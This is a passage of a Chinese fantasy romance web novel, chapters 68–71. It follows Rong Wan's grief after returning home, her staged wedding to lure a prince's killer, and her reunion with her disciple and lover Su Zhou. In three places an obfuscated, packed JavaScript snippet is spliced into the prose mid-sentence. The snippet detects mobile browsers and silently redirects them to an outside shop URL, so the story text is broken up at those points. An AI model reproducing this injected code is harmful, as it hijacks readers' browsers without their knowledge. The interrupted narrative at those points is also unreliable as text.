“让——三界归于三界……如果有可能,你归于我。” 厉火熄灭的天幕是极致的暗蓝,夙昼闭了下眼,他将容晚环抱的手一点点掰开,骤起的结界将他们分开,“容晚,这是我想要的结局。你回家去,不要念我……” 容晚彻底摔在了地上,望着夙昼一点点消散,他目光里痛苦,哀伤,却唯独没有一点怨恨。直至消失。 细碎的元灵随风吹散,沉寂的爱意向死而生。 我们终于相爱。 【公告:系统监测到条件节点链接成功】 【恭喜您,回家快乐】 68. 不念于念 书页翻飞声停滞—— 泛黄纸张落满灵纹,当话本的终章被撕碎,未尽的故事走向尽头。 掌间怎会空空如也,明明前一刻容晚还环抱着夙昼,他在缭绕云雾里握着她的手,叫她不必念他。 “不……不要——”她几近溺死在云海里,眼前尽是刺目的血红,刺耳的警报声一遍遍重响,违规通报敲响一次又一次。 “回家快乐——” “回家快乐!回家快乐……” 低沉的、高昂的、沉痛的、雀跃的…… 纷乱声线重叠,又是一个不眠夜。容晚猛然坐起,披上长衫,窒息的感觉久不消散。她起身推开窗扇,夏夜的风凉爽,淡淡荷香袭来,其间又夹杂着桂花的香气。 灵力浇灌的桂树常年盛开不败,容晚抬手,纷白的灵力向年轻的树涌去,缠绕着树身久久未歇。 回家那日所载的桂树,迄今已有整整九年。这树须得由播种者灵力浇灌,起初长势并不喜人。因为归家的容晚以十九岁的身体承载着一千六百年的灵力,灵脉堵塞,她只能一日一日地浇灌灵血。 诡道禁阵并未跟着容晚回家,单薄的灵脉在无数阵印下飞速成长,她完全恢复灵力在第七年夏日。 那一夜,仅有碗口粗细的桂树一夜间枝繁叶茂,竟有参天之势,双人牵手亦无法环抱。 很长一段时间里,容晚和今夜一般,总是坐在屋内出神,又或者坐在落落涧最大的荷塘边,夏看碧荷,冬看残荷。 反反复复地回忆当年那日,她怎么都觉得今时只是一个梦。于是破除幻境的阵印、打破梦境的阵印、看破虚妄的法术层出不穷地落下去,什么都没有变。 这里是家,她回家了。 可为什么不快乐? 初日时,容晚仍坐在塘前水边,荷叶随风擦过她踝间,赤足躺着水往水中央去。她需要沉溺的感觉,在濒临窒息的时刻,有片刻空白,那一刹那里,她不会想起他。 这一次,沉溺的时间太久。 恍惚中被捞上来时,容晚听见上学的弟子们嘈杂而担忧的声音,还有一个焦灼的声音在喊她的名字。 “晚晚,晚晚!”容朝帮她烘干衣裙,将她半拥在怀中,打发走围观的弟子们。他小心翼翼拭去她的泪,“又想起那个梦了吗?” 那一千六百年的前尘,她曾在回家的第一日,对亲密无间的哥哥坦然相告,容朝轻轻环抱着她,说:“哥哥永远同晚晚在一起,哪怕这里是梦,哥哥是梦,我们晚晚也要做个好梦,等梦醒了,再说梦外的事。眼下,和哥哥一起做个好梦?” …… “哥哥,我想他。”容晚抓住容朝的手,宛如求生一般,“我真的好想他。” 头痛欲裂,下一瞬,睡意袭来。容晚记得她倒在容朝的怀里,容朝紧紧握着她的手,像是在给她无尽的支持。 在医祖祠醒来时,小医仙跳着蹦过来,递给容晚一碗汤药,热气腾腾。“小姐的梦魇这一回格外凶险,如今用再珍贵的灵药也少见效,公子日日发愁,这些年在整个人间界遍寻灵药,这不都寻到王城里去了。” “哥哥去王城了?”容晚接过药一饮而尽,“他去王城寻药?” “公子本就是今晨出发,送来小姐便去了。这些年,野生的灵药公子能寻的统统寻过,如今只好去打劫各门各派的灵境啦!”小医仙接过药碗,又铺开银针,细细为她扎针。 小姐得父兄母亲爱护,少有灾病,自从九年前那一夜,夜夜梦魇,不得安眠。如今整个人间界皆知灵药灵植可换第一仙门一诺。 “今日用了新药引?”心口的闷痛缓和许多,容晚闻到熟悉的灵植气味,清苦悠长。 “今日多添一味苦草,单用是再普通不过的药材,做药引却能令药汤再上一个品级,遇上好医仙,生死人肉白骨也有可能。”小医仙施完针,正欲离开,可小姐得脸上划过泪,她的眼睛盯着那碗残余的药汤,一动不动。 “小姐?那我先去种灵植了?还要浇水呢。” 多么熟悉的药用、味道,容晚眼前浮现一人的面庞,细碎的元灵在原野中飘荡。 临跨出门槛时,小医仙抱着药碗和药箱,听见小姐呆呆地发问:“这药引是不是还有别的名字?” 真奇怪,小姐从小不学灵植课的,也不学史,怎么今日问起。小医仙不需要想明白,他木然点头,“对呀,这一味药既常见又便宜,随手一栽便能活,就按着味道叫了苦草。而原名听起来太贵气,渐渐地不用了。” “是什么?” “灵——”小医仙一拍脑门,将药碗药箱堆在地上,从怀里摸出一本厚重的书,翻到某一页,“又名灵弦草,常见于原野,有月光照处。不是什么珍贵的药材,名字却很贵。” “许是从前珍贵吧。”容晚竭力维持着声音平稳,禁不住那透露出来的委屈,“你能不能把这本书借给我一段时间?” “啊?”小医仙头脑简单,有些费解,却将书递过去,“这是灵植课的高阶典籍,少有弟子能到此阶,藏书阁里有好多本,都落了灰。呐,我这本可是千年前传下来的手抄本,传说在医祖案前放过呢。” 递过书,小医仙出门在院子里哼哧哼哧浇水。容晚一念间,隔绝一切的阵印落下,她凝视着书的封面—— 少时曾无比繁杂陌生的上古文字,如今于她而言浅显易懂。此间繁复古老的文字,是她在上因日日所用的。 指尖轻轻碰上第一页的落款,一个游字。容晚笑中含泪,“我就说,以后会有很多很多人记得你。” 下一瞬,骤起的传送印自脚下生发,容晚不顾容朝的告诫——因她灵力太过强盛,容朝不许她随地起传送阵,毕竟如今的人间界,只有三两老祖可达如此境界,而容晚修仙不到二十年。 疯狂的想法涌动,所有的期待与疑问似乎将要得到答案。如果衡游真实地存在过,那阿弥呢?他呢?后来究竟发生了什么?何以至此? 藏书阁的灯火燃过三日三夜。 依着记忆重塑的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989580|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间灵器,帮容晚延缓百倍的时间。但三百个日夜的苦读,仅有一点点收获。 那时的一切都没有文书记载、没有历史传承,关于上因落乌的一切,好似从未存在过。更没有什么三界之争的记载,连上仙一词都不曾见过—— 此间世界没有上仙、没有仙魔,唯有人与妖。 所幸,关于衡游留下的所有医书典籍,灵植画册,炼丹药方……通通传了下来。那时,她对衡廷肃有怨,未尽的书册落款处,只提了一个单字,游。 如今世人以医祖之名为他贯姓,史称祖游。而藏书阁中唯一与他相关且可考的史书,提到一个名字,在一篇手书悼词上。 那是一篇怀念亡父的悼词,落款为单字“弥”。这一纸悼词为证,史书记载的第一个仙门始祖“弥”,是“游”的独女,史称祖弥。 竟是如此?从前的十九年,容晚对于医药所知,仅仅限于医祖功德无量,医书药典流传至今。关于历史上第一个仙门始祖是谁的答案,只会出现在史书上,以及长老的史记学堂上。 这两种是容晚从小到大绝不会学,也绝不好奇的学问。 《仙门史》上说,以残篇为证,第一仙门始祖的悼词约莫写于五千年前。这是后人所能考究的最古老的文书。 “五千年前。阿昼,那是我们的时代结束以后了。”容晚抱着那一本手抄孤本,脚步虚浮地走出藏书阁,绚烂的日光刺眼,她定定地定着太阳,眼泪肆意而下。 “原来,我在我们的以后。” 盛夏的冷意来得莫名,灵脉中汹涌的灵力变得躁动,滚动的黑云自天边袭来,乌云遮天蔽日,原属于夏日的烈阳透过云层,斜斜射向大地。 鸿毛暴雪遮天蔽日,垂眸的几个呼吸间,容晚再抬眼,一世界的纷白。青碧色的荷叶落雪,荷花裹着白随风而折,荷塘里终年涌动的水波冻出风的形状,弯弯如月。 “下雪了。”容晚伸出手,一模一样的雪花堆落在掌心,此间有一刻,像极了终年落雪的望春山。 哀默同雪落下,容晚藏起心绪。 雪日初晴,白得晃眼,因灵力而下的暴雪自然可以一瞬消失,但那样太过诡异。不如就当做一场异变的气象。 当日,容晚收到一只灵鸢的传信。容朝信中所说,他放出消息,落落涧突降暴雪只是护界大阵的更新引起的灵力躁动,让她不必担心。 而另一件事,便有些棘手。 收到信后,容晚认真地回想她是否在一千六百年前的那十九年里,同一个青梅竹马的公子订过婚。 好像是有这么一个人。 继续读下去,容晚神色渐渐冷下来,攥着信纸的指尖绷得发红。 青梅竹马的联姻对象死了。 贵为太子殿下的联姻对象,在与民同乐的游街途中,先遇射杀,再遇刺杀。车辇下窜出的黑衣青年,以一把锋利的匕首刺穿他的喉咙。 一恍惚,容晚好似回到薛辞遇刺的那一晚。彼时的黑衣青年是夙昼,那如今呢? 69. 不念于念 “我要和明玄成婚。你知道的,那是我青梅竹马的太子哥哥。”容晚在容朝回到落落涧的当夜,猝不及防地提出这件事。 青梅竹马的联姻对象,曾经是如此合适的婚事。纵然晚晚真的情分难忘,但如今,明玄已死……容朝生生攥住手中的剑,不容她玩笑,“晚晚,我怎么不知道你什么时候对他那样情根深种?” “这有什么关系。”容晚毫无介意,“只说第一仙门救回了身受重伤的明玄,不日与大小姐成婚。我想,那幕后刺杀之人一定会来。” “你毫不在意自己的声名吗?”容朝问。 “我更在意凶手是谁。” 效仿当年靖安太子之死,暗杀明玄的到底是谁?唯一能肯定的是,凶手当年定然亲历此事,知晓史书从未记载的过往。 “哥哥,我必须找到他。” 容朝的目光隐有一分动容。 九年,三千多个日夜,容晚眼里终于亮起几分光,她的鲜活落在容朝眼里,他无法拒绝她。如果一场大婚能换她一时开怀,那便这样做。 得到爹爹娘亲的同意,比他们想象的更加容易。容朝提笔写出一篇洋洋洒洒的文章,论证这场大婚的必然性。他晓之以理,动之以情,搬出明容两家世代交好的情分,甚至弄来一封明玄父皇的亲笔书信。 信中一夜白头的帝王请求他的妹妹——容晚的母亲明阑、第一仙门的容夫人,恳求她和她的夫君以第一仙门的手笔,查明独子明玄一案的凶手,他将奉上他所能给的一切。 元和六百年盛夏,第一仙门广发喜帖,落落涧的喜帖遍发人间,山野精怪,冥间鬼魄,连隐匿各处千年未出世的世外高人,皆收到一份烫金灵帖。 大小姐将于六月初六同太子明玄结姻,广邀宾朋,不收贺礼,但求同喜。 灵帖上附有落落涧独创的传送灵阵,灵力催动,顷刻可达落落涧。 当日,八方来贺,百里红妆。 明镜窗前,身穿嫁衣的容晚盯着镜中的自己,镜子似乎染上雾气,她伸手去碰明镜,摸到一片冰凉。 泪花被压下,容晚盯着她一身的红裳,怔怔看了许久,她起身焦灼地唤人,“我不要穿红色。” 描妆的师姐们一愣,又听容晚重复说:“换一件,什么颜色的都可以。” “新娘不都是着红嫁衣吗?怎么想着要换?”容朝捧着一方鎏金的凤冠进来,碎金随光在他衣襟前雀跃。他拿起笔,为她描额间的花钿。 额间的笔触似乎触碰到神魂,容晚细密的长睫如灵蝶展翅般颤了颤,笔尖离开的一瞬,容晚仍是闭着双眼,极致的痛苦似乎从心口直抵眼眶,逼得她流下泪。 “像血。”容晚紧紧闭着眼,不去看浑身刺目的红,她连捏诀的力气都失去了,僵硬地坐在镜前。 那柄刺过他心口的剑,早在当年那日,便连她一起刺穿。今时今日,时时刻刻贯穿她的心,潺潺流血,经久不愈。 剑拔不出,心治不好,她忘不掉,亦不敢想。 “我满身是他的血,滚烫的,烫得我快要死掉的血……哥哥,帮我换一件吧,求求你。” “好了,睁眼。”容朝的声音是竭力控制下的平静柔和,他轻轻握住她的肩,让她倚在自己怀里。 缓缓睁开双眼,容晚看见镜中的自己一身浅绿衣裙,银色细线绣上含苞荷花。额间金色花钿改为浅浅的蓝,凤冠亦是银白色。 见容晚神色渐渐缓和,容朝望着镜中的她,将珍爱的目光落在她眼睛里。 “无论什么时候,哥哥会永远和你站在一起,你想做的一切,哥哥都帮你去做。我们晚晚无需害怕,只要记得,哥哥永远在你身后。” “好……”容晚轻轻吐出一口气,窗外冷桂清香袭来,她莫名地平和下来,身体慢慢动了下,她转过身同容朝拉开距离,“师兄师姐们都准备好了吗?那些阵法是有些难,但想要困住凶手,我们别无他法。” “晚晚的阵法相当强悍,我做了一些修改,变得更简便,威力也只削弱了一成。再说,我们晚晚这么厉害,一定能抓住他,不是吗?” “但愿如此。”容晚指尖相碰,流光溢彩的阵印悬于掌心,传送灵阵已然大开,人间界各处骤起无数传送阵印,指向落落涧的护界大阵前。 “哥哥该去迎客人了。还有,假扮明玄的弟子护身灵力一定要强,最好善修传送阵印,方便逃跑。” “放心。”容朝垂下眼眸,呼吸乱掉几分,平复后抬眸望向容晚,“晚晚,新婚快乐。”看见她的疑惑,他补上一句,“婚礼是假,但哥哥希望你快乐。” 容晚扬起眸,轻轻点点头,望着容朝离去的背影,唇角弯起真心的笑。 当熟悉的剑意出现在落落涧时,容晚手抖地打翻妆匣,各种各样的耳坠落了一地。 难道真的是上因剑,容晚踩着一地缤纷的耳坠,刚跨过门槛,容朝恰好拦住她,告诉她吉时已到,一个响指间,浅蓝色的盖头遮挡住全部的视线。 下一瞬,上因剑剑意荡然无存,好似方才的熟悉只是错觉。 察觉到容晚的怔愣,容朝问:“怎么了?” “走吧。”容晚轻轻摇头。被牵着走过长长的玉阶,容朝将她交到爹爹手中。 牵着容晚一步步走上高台,容俞冷着声音,“万事小心,莫要逞强。”他从不干涉两兄妹的任何决定,这一件事,他不反对,却并不赞成。女儿执拗地要查出真凶,为人父的他自会支持。 “谢谢爹爹,如果那人来了,我会把他引到落落涧外,不会连累这里的。” “这是你的家,何来连累之说?若真是有什么意外,那也是为父和你那做兄长的不曾守好家。” “我真的很爱你们,爹爹。我也会守好我们的家。” 一直走到长阶尽处,他们停下来,一只修长而温暖的手握住容晚,她轻声说:“一会儿不必为难,我们正常举行仪式,反正不算数的。” 对方捏了捏她的掌心,表示知情。 证婚的长老是容晚的师叔祖,为求真实,一切的流程统统按照仙门嫁娶习俗来。 “一拜天地——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998021|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 骤然起了风,吹拂起浅蓝色的盖头,容晚察觉到颈后一丝凉意,她和他一起微微俯身。 自满堂宾客里传来的一声熟悉的叹息,落在容晚耳畔,常年的梦魇让她分不清那是不是梦里声音。 握住她的手被猛然抓紧,对方嘶了一声,容晚无奈道:“哥哥你来凑什么热闹,这么想当新郎,就赶快寻一位嫂嫂。” “继续。”容朝冷冷道。 两人交握着手,正欲拜下去。 “师父——” 那道熟悉的声音再次响起,无数夜晚梦回,她带着泪意哭醒,却久久不忘的声音响在身后。 听到声音的一刹那里,容晚掌间银白色的阵印自云间直落而下,护界大阵层层封锁,入目所及皆是笼罩在雪白的光影间。 当那人绝不可能再离去时,容晚仍是不曾转身。圆润的指甲在掌间攥出血痕,她紧紧咬住唇,僵硬到无法松开容朝的手。 入目所及是浅蓝色的绣线,透过缝隙,她望见浅绿的衣裙在阵印间发光。喉间几次滚动,她无法开口。 “师父。” 再一次响起的声音落得更近。楼阁之上弯弓搭箭声四起,对冲的灵力涌动间,容晚猛然喊道:“不要!不要放箭!” 她随着风一同转身,浅蓝色的盖头轻飘飘地坠落,被纷乱地踩在脚下。 长阶下的人眉眼冷峻地盯着她,一袭玄衣,发间系了一条浅银色的发带,腰间坠着一块青玉牌,身形比起过往更修长挺拔,而目光只见淡漠,像是隔了几千年的时光,他终于想明白那句“应是恨你”。 “放箭。”容朝冷冷道。 来不及细想为什么,容晚掌心骤起的结界猛然推开容朝,在铺天盖地的箭矢袭来的同一刻,灿金色的护身结界护在他周身。 当世最快的灵箭撞上结界化为糜粉,等金银交相辉映的光黯淡,只见满地尽是荧光闪烁的粉尘。 隔着交映的光,容朝望见结界内的他们,容晚微颤地站在原地,而那个玄衣墨发的青年一步步朝她逼近,只能望见他们在说话,却听不见一句一声。 心跳声的雀跃让容晚难以平复,她眼前反复出现着那一日的所有,泪意从眼中溢出的刹那,听见对方冷淡的声音,“师父哭什么。” 他曾在云雾里倒向她的怀抱,温柔地抚慰她说:“别哭”。 而如今…… “师父哭得这样伤心,我真的会以为我打扰了您的大喜之日。可惜——” 温热的指腹擦在眼眶下,轻柔地拭去容晚的泪,离开的一刹那,容晚抬眸撞进他的眸光,看见他执拗之下的眷恋。掩盖在怒意之下的欣喜。 “师父,我的好师父,您这姻恐怕结不了了。”夙昼扣上她的后颈,把自己送进她的怀抱,声音缓和了许多,讲述他从不暴露于天光下的心事。 “您救过我,杀过我,如今还要嫁给旁人,可我却喜欢您,想爱您……” 浓重的自嘲和讽刺化刃扎向自己,指尖摩挲着她颈后的红月印记,夙昼问:“是不是很好笑啊?” 70. 不念于念 “没有。”容晚顺势抱住他,怀中的腰身颤抖了一下,“再见你我很开心。” 触碰到真实的他,不再像梦里那样一碰就散。 “真的吗?”夙昼弯唇一笑,“那您撤了结界,跟我离开这,离开您的婚礼。” 见容晚迟迟不动,夙昼问:“不愿意?” “不是。你答应我,不在这里生事,我就和你走。” “师父,您也看到方才的场面了,几万只灵箭,您亲设的阵法,撤了结界我会不会死啊。”夙昼张开双臂,后退半步,玄色衣摆擦过她浅绿色的衣裙。 “怎么会……我怎么会……” 叫你再死一次。 “不要说话,我带你走。”容晚牵起他的手,攥在手中,只有把他的温热握在掌心里,心才有几分安稳。 灿金色的结界虚影破散,容朝的剑锋已至,容晚挡在夙昼身前,“哥哥,不要。” “他是谁?”容朝神色声音都染上焦灼,身后众弟子的弓箭齐齐瞄准他们。 “哥哥,别出剑,也别叫他们放箭。放我们走吧。” 自始至终,容晚不曾出剑,亦不曾起阵防守,她就这样坦坦荡荡地牵着夙昼,站在众人面前。 一身喜裳的容朝,是明玄的容貌,可声音确切是容朝的,他向来温润,眼下却有些咬牙切齿,“哥哥问你,他是谁?” “是……”容晚迟疑。 察觉到容晚的紧张,夙昼回握着她,目光淡淡地落在那新郎的脸上,唇角微勾,是极为挑衅的意味。 他放松地站在容晚身后,望见她的发丝衣裳,耳尖坠的彩色琉璃,颈后的红月印记衬得肌肤如雪。 “他是我爱的人。”容晚说。 这一瞬,连风都停了。夙昼握着容晚的手再也不曾用力,被她轻轻捏了一下安抚,容晚的传音也一起递过来,“阿昼,再坚持一下,我就带你走。” “晚晚,怎么回事?”容俞问。 如今这一场混乱的闹剧,让容俞肯定,事情恐怕已脱离一双儿女原先的计划。 “让爹爹哥哥失望了。但是女儿今日真的要走了。”容晚微微垂眸,不敢去望容俞,而哥哥的质问抢先落在耳畔。 “容晚,你不是说今日要诈凶手吗?我且问你,是不是他?凶手?爱人?”容朝怒极生笑,向来温雅的脸庞有些扭曲,他上前走近容晚,却撞上无形的结界,不能动作半分。 “容晚,你在防我?为了他防我?”容朝语气急切,眼中尽是不可置信。 夙昼微微冲他笑了一下,眸中却带着夺人所爱的笑意。 “容晚——”容朝还欲说话,却被容俞下了无声诀。 “走吧。”容俞扣着容朝的肩膀,将他拉到一边,“晚晚,今日在座皆是高门大能,这件事我无法帮你压下来。你很少离开家,日后只能靠你自己。” 久久含泪、未曾言语的容夫人明阑,冲出来望着容晚,“晚晚什么时候回家?还是不回来了……” “爹爹娘亲,我不知道……”容晚松开夙昼的手,她冲着从来宠爱她的父母叩头,尽可能不去望容朝的视线。 被夙昼拉起来时,容晚的泪落在风里。他环着她的腰身,向她的家里人微微点了下头。 银白色传送阵印轮转—— 容晚最后能望见的是容朝暴怒的目光,她眼瞳里盈着泪光。 “容晚,你后悔了吗?”夙昼蓦然松开她,避开同她所有的身体接触。 几乎是同时,容晚抓住他的手,脱口而出:“你疯了?传送阵未停,你想在我面前再死一回吗?” “重要吗?”夙昼没有再挣开她的手,任由她牵着,直到传送阵印的光辉散去,夙昼沉默着松开她的手。 要怎样回答他。容晚跟在他身后,仍在细想,是答重要,还是答不后悔,还是一起……却听见他问:“这是哪里?” 抬眸望去,繁华街道四通八达,摊贩们忙忙碌碌,既有揽客的,亦有忙着活计的,来往的行人车马纷纷扰扰,这里无疑是嘈杂而热闹的。 “是王城。”容晚说。 这里是人间界的王城,回来的这九年里,她一步也未曾离开落落涧。在那样纷多的记忆里,她好似只确定此间的王城在何处。 “王城吗?真是个热闹的地方。”夙昼莫名有些火气,连脚步也快了几分。 “等等,这里会安静许多。”容晚直接去牵他的手,拉着他走向一条小巷的深处,这条巷子并不长,能隐约望见尽头淡淡的粉色天光。 “你今日为什么来?”容晚扣着他的手,他们并肩走在狭窄的巷道里,耳边只能听见极轻浅的风声。 “我不来,难道要看着您嫁给旁人?还是顺手送一份贺礼?”夙昼的语调怪异,他近乎执拗地问:“同那个哥哥成亲?可他眼睁睁地看着我带你走了,在你说爱的人是我的时候,师父。” “事出有因,不是真的婚礼。我不爱他,也未曾后悔。”容晚垂下眸,清浅的瞳眸里是犹豫,“以及,我……” “你什么?”夙昼的语气软了下来,似乎心情真的很好,连指尖也在她手背上雀跃。 停下来的脚步拉得夙昼一趔趄,他垂眸望向容晚。 那一身浅绿色的衣裙,绣银的花纹闪着光,在这有些昏暗的巷道里,随随便便映得一地碎银。 “我……”容晚闭上眼,指尖绞着衣裙,夙昼颇有耐心地等待,她努力地不去回避他的目光。 “我爱你。” “什么?” “很难懂吗?”容晚咬了下唇,不肯再说一遍。 爽朗轻快的笑声在小巷里回响,仔细听却又几分苦意。 “您说爱我?”夙昼凑近望她的眼睛,那样坦荡、毫不掩饰的爱意。她睫毛微颤,等着他说话,“可我不想爱了。” 察觉到他退后时,容晚抓住他的衣袖,强力而快速的脉搏声在她指尖跳动,和他此时躁动的心一样。 “我听见你的心跳,你爱我,你依然爱我。”容晚不愿去思考他的迟疑和退缩,她双臂攀上他的肩膀,抬眸望着他,“你就是爱我。” “是啊,谁让我就是爱你。” 炙热的气息覆上来,他握着她的腰身贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010238|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向他,唇齿间涌动着旖旎暗流。容晚身后是冰冷的石墙,夙昼抱着她互换位置,自己倚在那一片冰冷上。他呼吸大乱,垂眸望着她如水潋滟的瞳,如他一般颤乱的呼吸,又要吻下去。 “好了。”容晚挣扎着从他身上起来,夙昼放开她,唇边的笑意总算有了真心。 “去哪儿?”夙昼问,声音中热意不减。 “去王城墓室。”容晚已走远了几步,转过身等他,逆光里的身影不见容貌,见他不动,她又转身。 意识到对方答非所问,夙昼跟上她的脚步,同她并肩而行,将她揽在怀里,“为什么去?” “见一个老朋友。” “谁?” “青梅竹马,联姻对象。” “嗯?”夙昼的语气明显停滞。 “这就是我举办婚礼的原因,他莫名其妙地死了,我要找到凶手。” “呵!追凶?旧情难忘?非要报仇不可?”夙昼满脸不屑,冷冰冰地问。 “不是,”容晚有几分纠结,脚步也蓦然停住。真相说出来是否会惹他不快,时隔许久才能再见,她不想和他争吵又或者别的什么针锋相对。 玄衣青年冷哼一声,“师父方才还说爱我。” 提醒她呢。容晚扣紧他的手,“我说了,你不许生气。” 青年的眉微微挑了一下,步调也放慢了,又哼一声,似是同意。 “我以为是你。”容晚以为凶手是他,矛盾的心绪拉扯得她日日不能安眠,“我期待是你,可我又害怕是你。” “为什么以为?”夙昼没有问她的误认,脸上也不曾有任何激烈的情绪,他只是相信她的判断,平静地询问缘由。 “他在与民同乐的游街途中,先遇射杀,再遇刺杀。车辇下窜出的黑衣青年,用一把锋利的匕首刺穿他的喉咙。”容晚缓缓讲述,“他叫明玄,刚好,也是一位太子殿下。” “有意思。你想查,我陪你查。” 小巷的尽头蓦然已至,他们一同怔愣住,眼前的景色波澜壮阔,望不到边际的桃林映入眼帘。 穿梭在桃林中,纷白的花瓣落在他们身上,粗壮的树干参天,桃枝与花瓣遮天蔽日。 “这里的古桃林起源颇早,比我们当年在人间界相见,住进那座小院里还要早。”容晚说。 明白话中意味的夙昼忽然怔住,他来了怎样的一个世界,是她的家,是她的当年与以后。而他自己,在从前的从前。 “我们怎么会相识的?”夙昼问:“你怎么会来到我……”他停顿了一下,似是不知如何形容,斟酌出合适的措辞,他问:“怎样来到我的时间?” “不知道,莫名其妙地去,莫名其妙地回来,但可以肯定的是,有人和你一样,从当年来到了现在。”容晚的确不明白,自从那句回家快乐后,她再也不曾听见所谓系统的声音。 “身份不明,目的不明,恐怕他也在找你。”夙昼补充说。 “又或者引我们到某个地方去,发现什么。” 他们齐齐望向那一片存世至今的桃林,花枝乱颤,似乎在向他们招手。 71. 不念于念 他们牵着手走进桃林深处,数千年前的四方小院藏在无数层结界之后。透明结界一触碰到容晚,如同水波般漾开,邀她走入。 “怎么了?”发现夙昼停在结界前,容晚转身望着他。 夙昼单手撑着下颌,不知在想些什么。玄色衣衫落满纷白的花瓣,夏日午时的光映在他侧脸上透过颤动的花枝,跳动着璀璨的金色。 “我只是在想,师父布下的杀阵我进不进得去,我可不想再死——” 心口猛然一滞,容晚抬手拨开结界,像是拨开一阵风般,衣裙身形一同飘了进去。她唇角冷着,带着若有若无的自嘲。 “师父——” 玄衣的那人在身后喊她,语调婉转,称得上是撒娇。他抬脚便追,一头撞在结界上,眉眼间尽是不可置信,“我进不去?我居然进不去?” 绷不住笑的容晚负手往院中走,只听得她说:“自己想办法。” 夙昼环视一周,像是下定决心一般,周身环绕着浅浅的红光,光雾缭绕间,猛然向结界冲去。 光芒相撞,激起满地纷白,夙昼被她的结界震得后退,唇齿尖溢出血味。 “闹够了?别闹。”容晚轻捏指尖,原先裹着杀气的结界阵印霎时在他面前散开,如一道不可见的云雾,她为何同他计较这些,活着就很好,就够了。 敏锐地察觉到他唇间的红,容晚牵着他的手腕,探查他的灵脉。 夙昼毫无防备,向她全然敞开,任由容晚的灵力冲入身体,游走过血脉、心尖、元灵,而其间任何一个时刻,他都能轻易地死在她手里。 和煦的灵力只是扫荡了一圈,抚慰过结界留下的所有创伤,便如潮水般温和退去。 “以后不要这样了。如今的重逢来之不易,为什么不珍惜呢?”容晚冷冷说,“你知道我不会拦你的。” 小院里的一草一木早已枯萎,漆黑的叶片挂在残枝上。这里没有风也没有雨,失去灵力灌溉的灵植在匆匆五千年里死去。 当年那位侍弄灵植的好友,恍惚又在眼前。容晚匆匆掠过那片灵植丛野,顺着小径走进屋里,在视线望不见那片灵植时,她终于可以呼吸。 这些年,她从不敢念他的名字。 “师父,我只是想——看看自己这些年有没有长进。”夙昼俯身,同她瞳眸相对,“毕竟从前,您一见我,第一件事总是要看看我有没有长进的。” “那有了吗?”容晚语气如冰,避过眼前人灼热的呼吸,望见桌角香炉、熟悉的一切布置时,不可避免地心痛。 过往的一切历历在目,她无法在这里久留。 银白色的传送阵印落下,缭绕光雾笼罩住他们,容晚抓住夙昼的手,这一刻,听见他说—— “对您,我从不会全力以战。又怎能知晓长进几何?” 桃林之外,穿过小巷,转入朝南的街市,再路过一条熙熙攘攘的闹市街,街道氛围开始变得严肃庄重,尽头处是如今人间界的王城。 “我要进去。”容晚对着宫门前的守卫说。 守卫怒喝道:“来者何人?” “我母亲是雍国长公主,你说我是谁?”容晚浅浅一笑。 象征身份的玉牌递出去,守卫即刻大开宫门。 过了第三道门时,皇帝身旁的大公公火急火燎地跑来,“小郡主,您……”自小熟识的公公悄摸凑到她耳畔,“真真地逃婚了?” “嗯。”容晚信口胡说:“爹爹哥哥生了好大的气,我来投奔舅舅。” “陛下等着您呢,再大的事也不是事儿。”公公忙不迭地引路,一眼也不曾瞥她身边的男子。 沿着宫道向前,容晚和夙昼并肩而走,同公公们隔着一段距离。他们被接引到一处清幽的宫殿,年老的帝王午后困倦,无力接见任何人了。 等候时,空旷的宫殿只有他们两人。他们隔着一方案几而坐,其上熏着淡淡的檀香,茶盏的热雾缭绕,还有几碟精致的宫廷点心。 “这里是不是和从前一点都不一样了,宫道、砖墙、琉璃瓦。那时候,我好像很少来王城找你。”容晚指尖落下一道阵印,隔绝了他们的声音。 风格大变的陈设,金银镶嵌的器具,连藻井、天花都是他不喜欢的颜色。因容晚喜简易淡雅之风,那时王城宫殿的陈设以檀木乌木为主,少见金银,唯有依着四时轮换的花草是淡雅的色彩。而容晚很少来。 夙昼抬了下眸,没什么情绪起伏,“这么多年,居然还选在这里做王城,真是没什么眼光。” “阿昼。”容晚拍了下他的手臂,“从前你不也在这里登基,后来迁都东州,是因为——”她慕然停住,那时他要攻下三界,而东州是三界交汇之处,原先的王城自然不是好位置。 “因为什么?因为我野心在三界?还是因为我要兴战事?”夙昼同她拉开距离,眼神也避过去,声音透出薄凉,“是这样。” “我……”容晚失言。 怎样都绕不开这些问题。哪怕他来到她的世界,但过往纠葛终究是真,他们无法逃避。只是…… 想靠近彼此的欲望盖过一切过往,她不愿现在和他谈那些问题,他也是。除非真的到了不得不谈的地步。 